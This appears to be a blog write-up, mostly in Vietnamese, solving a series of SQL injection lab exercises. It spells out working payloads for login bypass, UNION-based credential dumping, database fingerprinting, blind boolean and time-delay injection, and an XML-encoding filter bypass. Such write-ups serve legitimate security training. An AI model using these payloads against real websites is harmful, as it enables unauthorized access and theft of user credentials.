- Published on
SQL Injection Labs
- Authors
- Name
- Kim Phu
1.SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
- Ta thấy lệnh
filter?
sẽ truy xuất dữ liệu. Dùngfilter?category=Pets'+or+1=1--'
sẽ hiện ra toàn bộ thông tin sản phẩm.
2.SQL injection vulnerability allowing login bypass
- Sử dụng Burp Suite để chặn và sửa đổi yêu cầu đăng nhập.
- Sửa đổi tham số, cung cấp cho nó giá trị:
usernameadministrator'--
3.SQL injection UNION attack, determining the number of columns returned by the query
- Mục đích của bài này là xác định số trường của query.
- Theo gợi ý thấy chèn sau category=? 1 đoạn
'+UNION+SELECT+NULL,NULL--
- Kết quả trả về là internal server -> thừa hoặc thiếu số lượng trường trong bảng -> thêm 1 trường vào -> query trở thành
filter?category=Pets'+UNION+SELECT+NULL,NULL,NULL--
4.SQL injection UNION attack, finding a column containing text
- Bài này không chỉ cần xác định số trường của query mà còn cả vị trí của text string nữa.
- Cùng 1 trang web query nên ta biết chắc query này cũng sẽ có 3 cột
- Thử payload
'+UNION+SELECT+'a',NULL,NULL--
-> màn hình hiện lên bắt nhập string bắt buộc là'QCQTlQ'
-> Enter - Vẫn bị lỗi internal server -> thử vị trí của string thành cột 2, hoặc 3 ->
'+UNION+SELECT+NULL,'QCQTlQ',NULL--
-> done
5.SQL injection UNION attack, retrieving data from other tables
- Theo mô tả, ta thấy trong database có bảng khác tên là users và bảng này có 2 cột
username
vàpassword
. - Thử payload
'+UNION+SELECT+'a','a'--
-> Lăn xuống thấy trả về 2 string a - Thay thành
'+UNION+SELECT+'username','password'--
- Màn hình sẽ show ra nhiều hàng hiển thị nhiều tài khoản -> lọc lại thấy có tài khoản
administrator
-> Click vào trang login -> nhập username và password và -> done
6.SQL injection UNION attack, retrieving multiple values in a single column
- Tương tự 3.3,thử payload
'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
-> Click vào trang login -> nhập username và password và -> done
7.SQL injection attack, querying the database type and version on Oracle
- Thử payload
'+UNION+SELECT+BANNER,+NULL+FROM+v$version--
- Thông tin của Oracle sẽ hiện ra và done!
8.SQL injection attack, querying the database type and version on MySQL and Microsoft
- Bài này sau 1 hồi nghiên cứu mình phải dùng Repeater của Burpsuite để thực hành
- Trong gợi ý có payload
'+UNION+SELECT+@@version,+NULL#
đây là payload dùng để show version -> sau đó có được version'8.0.31-0ubuntu0.20.04.2'
thì thay@@version
thành version vừa kiếm được. Vậy là xong rồi ^^
9.SQL injection attack, listing the database contents on non-Oracle databases
Bài này sau 1 hồi nghiên cứu mình phải dùng Repeater của Burpsuite để thực hành
Trong gợi ý có payload
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
đây là payload dùng để show tên các table có trong database, chúng ta sẽ cần nó để tìm tới table chứauser
rồi thấy có 1 table tên làusers_gwglpg
rất khả nghi =)))Thử truy xuất dữ liệu xem có gì nào. Sửa pay load lại 1 xíu thành
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_gwglpg'--
-> ta đượcusername_jsoxhc
vàpassword_tppahp
Giờ cùng dùng payload cuối nào
'+UNION+SELECT+username_jsoxhc,+password_tppahp+FROM+users_gwglpg--
Vào My Account rồi login với tài khoản admin trên là xong =)))
10.SQL injection attack, listing the database contents on Oracle
- Dùng payload
'+UNION+SELECT+'abc','def'+FROM+dual--
-> hiện ra list bảng thấy có bảng user đặc biệt - Giờ có user -> đổi payload thành
'+UNION+SELECT+column_name,NULL+FROM+all_tab_columns+WHERE+table_name='USERS_VODNEC'--
(vì mình để lab lâu nên nó tự đổi tên user_name :> ) - Tiếp có username và password -> đổi payload thành như sau
'+UNION+SELECT+USERNAME_VGBMEN,PASSWORD_BDEQAY+FROM+USERS_VODNEC--
- Bây giờ chỉ login vào nữa :>
11.Blind SQL injection with conditional responses
- Truy cập trang web -> chọn bất kì 1 category và bật interception burosuite
- Theo gợi ý, mình sẽ chỉnh sửa phần TrackingID với payload
TrackingId=abcxyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=$hehe$)='a
-> ném cái này vào intruder để xem độ dài của password -> lenght=20 - Sau đó dùng payload sau để kiểm tra từng kí tự của password
TrackingId=xyz' AND (SELECT SUBSTRING(password,$position$,1) FROM users WHERE username='administrator')='$a$
với vị trí bruteforce số 1 để từ 1-20, còn với vị trí 2 để list là a-z và 0-9. - Để Grep match case là "Welcome back" -> thu về password là
qqdl6qgmenyo3fdkcpst
- Vào login với account administrator là done :>
13.Blind SQL injection with time delays
- Theo gợi ý, mình sẽ chỉnh sửa phần TrackingID với payload trong repeater
TrackingId=x'||pg_sleep(10)--
-> send -> done 🫀
Bài 12 và 14 làm tương tự các bước bài 11+13
17.SQL injection with filter bypass via XML encoding
- Truy cập trang web, ở burpsuite, bật interception on
- Bấm vào
check
-> vào check request trả về - Trong request có trường
storeID
-> sửa thành1+1
-> trả về 144 unit -> bằng với storeID=2 - Nhập 1 lệnh attack vào giữa cặp
<storeID>
-> trả về attack detected -> bị block - Bây giờ vào extension -> cài Hackvertor -> vào encode -> dec_entries -> dán
<@dec_entities>1 UNION SELECT username || '~' || password FROM users<@/dec_entities>
vào được output -> copy thả lại vào cặp thẻ<storeID>
. Và bbooms - Bây giờ, chỉ cần login nữa là xong rồi ^^